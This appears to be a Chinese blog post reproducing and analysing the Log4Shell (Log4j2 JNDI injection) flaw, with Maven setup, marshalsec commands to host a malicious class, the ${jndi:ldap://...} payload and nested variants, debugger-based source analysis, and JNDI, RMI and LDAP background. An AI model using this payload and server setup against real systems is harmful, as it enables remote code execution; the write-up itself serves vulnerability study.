2021年12月9日,各大公司都被一个核弹级漏洞惊醒了,该漏洞一旦被攻击者利用就会造成及其严重的影响。该漏洞甚至被认为可能是“计算机历史上最大的漏洞”。经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重。然后从10日凌晨开始很多公司的程序员都被迫开始应急相应,加班加点修复问题。该漏洞涉及包含但不限于 ElasticSearch、Druid、dubbo、Redis 等常用应用与组件。
当初用这个漏洞也刷了一点 edu rank, 嘿嘿~
除以上版本,其他版本均存在漏洞。但本文分析的最初漏洞版本 (<= 2.14.1),绕过修复版本后续更新。
1、前期准备:(本地复现):
- marshalsec (Java反序列化工具,用于启动 RMI & LDAP 服务)
- maven
- java 1.8
- python 3.x
2、创建maven项目,引入log4j2 依赖, 并编写主启动类:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-apiartifactId>
<version>2.11.2version>
dependency>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-coreartifactId>
<version>2.11.2version>
dependency>
dependencies>
注意:并非只有调用 error() 才会触发,只是因为 error 日志优先级最高,不需要写 log4j2.xml 配置文件就可以直接触发,要想使用 info, warn 必须配置 log4j2.xml, 否则无法复现成功。(网上很多都是通过 error() 复现,担心读者造成误解)
3、创建maven项目,编写恶意exp,并编译项目获得 .class 文件:
4、把 .class 文件复制到 marshalsec-0.0.3-SNAPSHOT-all.jar 同文件夹下,并启动 LDAP 服务:
并不一定要在同一文件夹下,Exp.class 是通过web服务访问,放一起仅为了方便。
- LDAP服务命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost/#Exp 6666
- RMI服务命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost/#Exp 6666
python -m http.server 80
5、启动主启动类 Main, 验证漏洞:
漏洞复现完毕,计算器成功弹出
从 payload可以看出,这是基于 JNDI (Java命名和目录接口) 的注入漏洞。什么是 JNDI 注入呢?不了解可以前往 => :https://blog.csdn.net/gental_z/article/details/122303540
知道是 JNDI 注入,那就要注意一下部分 Java JDK 版本对 JNDI 的限制:(博主复现用的 JDK 8u111)
1、JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true,表示禁用自动加载远程类文件。
2、JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。
3、JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项。
采用动态断点调试进行分析
通过以上代码分析,知道了在没有配置 log4j2.xml 情况下,默认日志 level 是 ERROR, 如果使用 info(), warn() 打印日志,将无法打印。原因:(level: ERROR = 200, WARN = 300, INFO = 400), INFO 和 WARN 的level 均大于 ERROR 的 level, filter 函数返回 false, 既 isEnabled() 返回 false, 导致无法调用 logMessage(),最终退出日志打印。 如下log4j2.xml配置日志级别为 INFO, 那么 error(), info(), warn() 均可以复现。
默认日志格式: %d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n
${jndi:ldap://127.0.0.1:6666/Exp}
)。其余下标存放的都是系统自动根据配置文件打印的额外信息,我们无法通过参数控制,所以直接设置条件断点跳转至 i = 8 进行分析。${jndi:ldap://127.0.0.1:6666/Exp}
的。通过判断 message 有没有
${
,如果存在说明是需要进行变量表达式提取并解析,那我在想如果我的格式是:${jndi:ldap://127.0.0.1:6666/Exp
或者${${${${jndi:ldap://127.0.0.1:6666/Exp}}}}
会有用吗?
通过断点调试发现 for 循环次数由${
个数决定的, replace() 就是从${}
中层层递归提取出变量:jndi:ldap://127.0.0.1:6666/Exp
。也就是说${jndi:ldap://127.0.0.1:6666/Exp
格式会执行一次 for 循环,而调用 replace() 由于缺少}
,导致无法正常提取出变量,也就无法解析,进而无法远程加载类弹出计算器。${${${${jndi:ldap://127.0.0.1:6666/Exp}}}}
格式会执行3次 for 循环,每次调用 replace() 都能通过递归提取出变量,进而远程加载类弹出计算器 (弹 3次)。
${jndi:ldap://127.0.0.1:6666/Exp}
中递归出变量表达式,调用 resolveVariable() 方法对变量表达式进行解析。1、 log4j 的源码中执行了 jndiManager.lookup() 方法,这个方法是导致本次漏洞的根因。
2、JNDI 全称为 Java Naming and Directory Interface 也即JAVA 名称和目录接口, JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装,如下图所示:
3、JDK 中包含了下述内置的目录服务:
RMI: Java Remote Method Invocation,Java 远程方法调用
RMI(Remote Method Invocation)即java的远程方法调用,Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,即JAVA的RPC机制。关于RMI需要注意以下两点:
- RMI的传输是基于反序列化的。
- 对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath(不在classpath的情况,可以看后面RMI动态加载类相关部分)中的可序列化类来反序列化恢复对象。
LDAP: 轻量级目录访问协议:
LDAP即是JNDI SPI支持的Service Provider之一,但同时也是协议。是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。
LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
LDAP 的目录信息是以树形结构进行存储的,在树根一般定义国家(c=CN)或者域名(dc=com),其次往往定义一个或多个组织(organization,o)或组织单元(organization unit,ou)。一个组织单元可以包含员工、设备信息(计算机/打印机等)相关信息。
CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)